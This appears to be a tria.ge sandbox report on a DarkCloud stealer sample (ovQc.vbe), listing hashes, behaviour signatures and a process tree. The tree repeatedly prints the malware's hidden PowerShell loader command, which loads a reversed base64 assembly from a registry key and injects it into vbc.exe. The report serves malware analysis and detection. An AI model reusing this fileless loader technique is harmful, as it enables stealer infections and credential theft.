Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

ovQc.vbe

windows7-x64

8

ovQc.vbe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2025, 19:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ovQc.vbe

  • Size

    10KB

  • MD5

    ba104bdc908f978aaa1c4bdc39a3553a

  • SHA1

    b1d0111c23c09f659fc9993ff5d1304c06ed5ba1

  • SHA256

    2bfd3a4cf58b0bc16b1af17eba113dbd58d00d7b199634d08428126f79e2bf9c

  • SHA512

    236b6666b7a3a994f519c6ba2f77a358c23d430d34300dbf2c948b121199f3094b7ce3a3060b32d46dd2d272b610fb5c1621530f7917fb775195594c3ef82b9b

  • SSDEEP

    96:Lh31q9lqKylGu47UgHw63nw7ZAy6e3GowTC0qaXSZM6fiEoqDzG3gYBl/U4QlI+K:Lh1q9lqKy8wcnsay6eoeAaMZqfOHTSdK

Score
10/10
darkcloudexecutionstealer

Malware Config

Signatures

  • DarkCloud

    An information stealer written in Visual Basic.

    stealerdarkcloud
  • Darkcloud family
    darkcloud
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ovQc.vbe"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        3⤵
          PID:3584
    • C:\Windows\System32\WScript.exe
      C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\ifGtcQfISxddcGn.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4876
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
            PID:764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3052
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
              PID:2008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1780
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              3⤵
                PID:228
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2544
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                3⤵
                  PID:1132
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4324
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                  3⤵
                    PID:4816
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4756
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                    3⤵
                      PID:1072
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1840
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                      3⤵
                        PID:4092
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1936
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                        3⤵
                          PID:3172
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2748
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                          3⤵
                            PID:2180
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:412
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                            3⤵
                              PID:5024
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                            2⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4448
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                              3⤵
                                PID:1220
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ifGtcQfISxddcGn' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('ifGtcQfISxddcGn')
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:180
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                                3⤵
                                  PID:1172

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                              Filesize

                              53KB

                              MD5

                              a26df49623eff12a70a93f649776dab7

                              SHA1

                              efb53bd0df3ac34bd119adf8788127ad57e53803

                              SHA256

                              4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                              SHA512

                              e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qjlyaad.uxd.ps1
                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              Download Submit

                            • C:\Users\Admin\AppData\Roaming\ifGtcQfISxddcGn.vbs
                              Filesize

                              2KB

                              MD5

                              ae38697351c86c7aed1711c9edc478af

                              SHA1

                              fc723672262fb8d6e5020a14e39b47a25d35aa5f

                              SHA256

                              f400644bd84a139f46d9aa7e315012ec04efe0ce966a434bd479a28155bee5af

                              SHA512

                              fbe8b492c5191e7bfe7b44c7ac00fdbcb46c9c39b28000a3d57122533bdf994109119831defc8403d74fdc84551c13b476c01275b68487cda05f9ad54b1fbd82

                              Download Submit

                            • memory/3584-17-0x0000000001300000-0x0000000001374000-memory.dmp

                              Filesize

                              464KB

                              Download

                            • memory/4492-15-0x0000011EDAC10000-0x0000011EDAC1A000-memory.dmp

                              Filesize

                              40KB

                              Download

                            • memory/4492-14-0x0000011EDB8A0000-0x0000011EDB8E4000-memory.dmp

                              Filesize

                              272KB

                              Download

                            • memory/4492-1-0x00007FFBC4C33000-0x00007FFBC4C35000-memory.dmp

                              Filesize

                              8KB

                              Download

                            • memory/4492-16-0x0000011EDB890000-0x0000011EDB89A000-memory.dmp

                              Filesize

                              40KB

                              Download

                            • memory/4492-13-0x00007FFBC4C30000-0x00007FFBC56F1000-memory.dmp

                              Filesize

                              10.8MB

                              Download

                            • memory/4492-20-0x0000011EDB9A0000-0x0000011EDBA16000-memory.dmp

                              Filesize

                              472KB

                              Download

                            • memory/4492-21-0x00007FFBC4C33000-0x00007FFBC4C35000-memory.dmp

                              Filesize

                              8KB

                              Download

                            • memory/4492-22-0x00007FFBC4C30000-0x00007FFBC56F1000-memory.dmp

                              Filesize

                              10.8MB

                              Download

                            • memory/4492-12-0x00007FFBC4C30000-0x00007FFBC56F1000-memory.dmp

                              Filesize

                              10.8MB

                              Download

                            • memory/4492-11-0x0000011EDB4E0000-0x0000011EDB502000-memory.dmp

                              Filesize

                              136KB

                              Download